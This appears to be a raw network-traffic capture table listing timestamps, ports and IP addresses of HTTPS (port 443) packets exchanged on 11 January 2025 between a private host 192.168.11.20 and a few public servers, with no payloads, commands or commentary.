Jan 11, 2025 07:54:33.995343924 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:33.995352030 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:33.995570898 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:33.995737076 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:33.995804071 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:33.995908976 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:33.995995045 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:33.996104956 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:33.996196032 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:33.996242046 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:33.996357918 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:33.996412039 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:33.996495008 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:33.996584892 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:33.996617079 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:33.996709108 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:33.996841908 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:33.996943951 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:33.997055054 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:33.997060061 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:33.997176886 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:33.997293949 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:33.997419119 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:33.997534037 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:33.997656107 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:33.997776031 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:33.997900963 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:33.997920036 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:33.998044014 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:33.998159885 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:33.998215914 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:33.998271942 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:33.998311996 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:33.998446941 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:33.998622894 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:33.998761892 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:33.998795986 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:33.998866081 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:33.998996019 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:33.999026060 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:33.999131918 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:33.999258995 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:33.999310017 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:33.999397993 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:33.999408960 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:33.999556065 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:33.999644041 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:33.999738932 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:33.999855995 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:33.999974966 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.000163078 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.000216961 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.000336885 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.000459909 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.000533104 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.000664949 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.000797033 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.000833988 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:34.000932932 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.001033068 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.001143932 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:34.001152992 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.001389980 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.001441956 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.001574039 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.001631021 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.001780987 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.001873016 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.001988888 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.002111912 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.002118111 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:34.002264023 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.002455950 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.002507925 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.002698898 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.002732992 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.002933979 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.002969027 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.003133059 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.003190041 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.003329992 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:34.003377914 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.003452063 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.003618002 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.003674030 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.003858089 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.003916979 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.004102945 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.004157066 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.004278898 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.004462004 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:34.004465103 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.004517078 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.004651070 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:34.004651070 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:34.004729033 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.004762888 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.004861116 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:34.004982948 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.005016088 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.005228996 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.005258083 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.005284071 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.005364895 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:34.005408049 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.005467892 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.005531073 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:34.005531073 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:34.005620003 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.005691051 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.005749941 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:34.005749941 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:34.005757093 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.005836964 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.005947113 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.006062031 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.006088972 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:34.006140947 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:34.006181955 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.006308079 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.006422043 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.006470919 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.006489992 CET	443	50687	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.006726980 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:34.006726980 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:34.006769896 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:34.006771088 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:34.017662048 CET	443	50687	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.020576954 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.034785986 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:34.035759926 CET	443	50687	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.039325953 CET	443	50687	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.046479940 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.046541929 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.046731949 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.046763897 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.047040939 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.048546076 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.055725098 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.055937052 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.056220055 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.056282043 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.056333065 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.056382895 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.056595087 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.056646109 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.056695938 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.056876898 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.056930065 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.057182074 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.057245970 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.057296991 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.057518005 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.074493885 CET	443	62708	162.159.61.3	192.168.11.20
Jan 11, 2025 07:54:34.075963974 CET	443	62708	162.159.61.3	192.168.11.20
Jan 11, 2025 07:54:34.086555004 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.090131044 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.090498924 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.090539932 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.090575933 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:34.090748072 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.090786934 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.090898991 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.091105938 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.091140032 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.091160059 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.102407932 CET	62708	443	192.168.11.20	162.159.61.3
Jan 11, 2025 07:54:34.116380930 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:34.123832941 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.123872042 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.124074936 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.124289989 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.124299049 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:34.124329090 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.124430895 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.124655962 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.124696016 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.124716043 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.126815081 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.126832008 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.127043009 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.127142906 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:34.152242899 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:34.153327942 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.158154011 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.158417940 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:34.158427954 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.158688068 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.158704042 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.174398899 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.174660921 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.174696922 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.174709082 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.174736977 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.174932957 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.175031900 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.175080061 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.175209045 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.178241014 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.178355932 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.178570032 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.178610086 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.178647995 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.178721905 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.178807974 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.178816080 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.179004908 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.183696985 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.183921099 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.183948040 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.184140921 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:34.184165955 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.184612036 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.184959888 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.220309973 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.220349073 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.220417023 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.220633030 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.220658064 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.220721006 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.220798969 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.220920086 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.220947027 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.221014023 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.221080065 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.221203089 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.221308947 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.221330881 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.221399069 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.221646070 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.223179102 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.223515034 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.226644039 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.229866028 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.230148077 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.233144045 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.233612061 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.235827923 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.236417055 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.237720013 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.240336895 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.240442991 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:34.240636110 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.242759943 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:34.242980003 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:34.243024111 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:34.243331909 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:34.243376017 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:34.243640900 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:34.245193958 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.246364117 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.246710062 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.250722885 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.253633022 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.254102945 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.255774021 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:34.257935047 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.261486053 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.261826992 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.264859915 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.266400099 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.267934084 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.268207073 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.271172047 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.274235964 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.274593115 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.277492046 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.282314062 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.282609940 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.285052061 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.293104887 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.293152094 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.294487000 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.297337055 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.297616959 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.300107956 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.301004887 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.304749966 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.305160046 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.307996035 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.311335087 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.311621904 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.314671040 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.317991972 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.318319082 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.321563959 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.324923038 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.325294018 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.329386950 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.332910061 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.333235025 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.343780994 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.343825102 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.343929052 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.344192982 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.346282959 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.346348047 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.346409082 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.346524954 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.346529961 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.346681118 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.346714020 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.346797943 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.346889973 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.346976042 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.347001076 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.347096920 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.347136974 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.347270012 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.347362041 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.354341030 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.358938932 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.363671064 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.363925934 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.363992929 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.364067078 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:34.364175081 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.364212990 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.364415884 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.364480019 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.364527941 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.364732981 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.364768982 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.364790916 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.364810944 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.364830971 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.364850044 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.364867926 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.364888906 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.364908934 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.365063906 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:34.369992018 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.370265961 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.370275021 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:34.370369911 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.370528936 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.370625973 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.370800972 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.370842934 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.371028900 CET	443	61038	23.45.46.202	192.168.11.20
